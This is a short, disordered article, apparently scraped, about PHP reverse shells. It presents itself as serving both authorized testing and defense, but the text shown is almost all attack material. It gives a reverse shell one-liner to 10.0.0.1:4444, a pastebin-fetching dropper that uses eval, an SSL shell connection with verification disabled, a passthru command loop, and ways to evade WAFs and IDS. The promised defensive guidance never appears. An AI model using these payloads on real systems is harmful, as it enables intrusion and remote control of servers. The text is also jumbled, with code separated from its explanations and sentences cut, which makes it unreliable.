fclose($sock); ?>
This article serves a dual purpose. First, we will explore what a PHP reverse shell is, how it works, and provide technical examples for authorized security testing. Second, and more importantly, we will arm system administrators and developers with the knowledge to detect, prevent, and defend against these attacks.
// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ];
<?php $code = file_get_contents('https://pastebin.com/raw/xyz123'); eval($code); ?> This bypasses static file scans. To avoid triggering IDS thresholds, attackers introduce delays:
<?= $c=fsockopen("10.0.0.1",4444);$d=exec("/bin/sh -i <&3 >&3 2>&3"); ?> Instead of embedding the entire shell in one file, a small "dropper" PHP script fetches a secondary payload from a remote server:
$context = stream_context_create(['ssl' => ['verify_peer' => false]]); $sock = stream_socket_client('ssl://192.168.1.100:443', $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); Some networks block arbitrary TCP ports but allow ICMP (ping). An advanced reverse shell can encode commands in ICMP packets using tools like icmpsh or custom PHP scripts. 3. Short Obfuscation (Bypassing <?php detection) Some WAFs block scripts starting with <?php . Attackers use tags like <?= (short echo) or JavaScript-like obfuscation:
elseif (function_exists('passthru')) while ($cmd = fgets($sock)) ob_start(); passthru($cmd); fwrite($sock, ob_get_clean() . "\n");
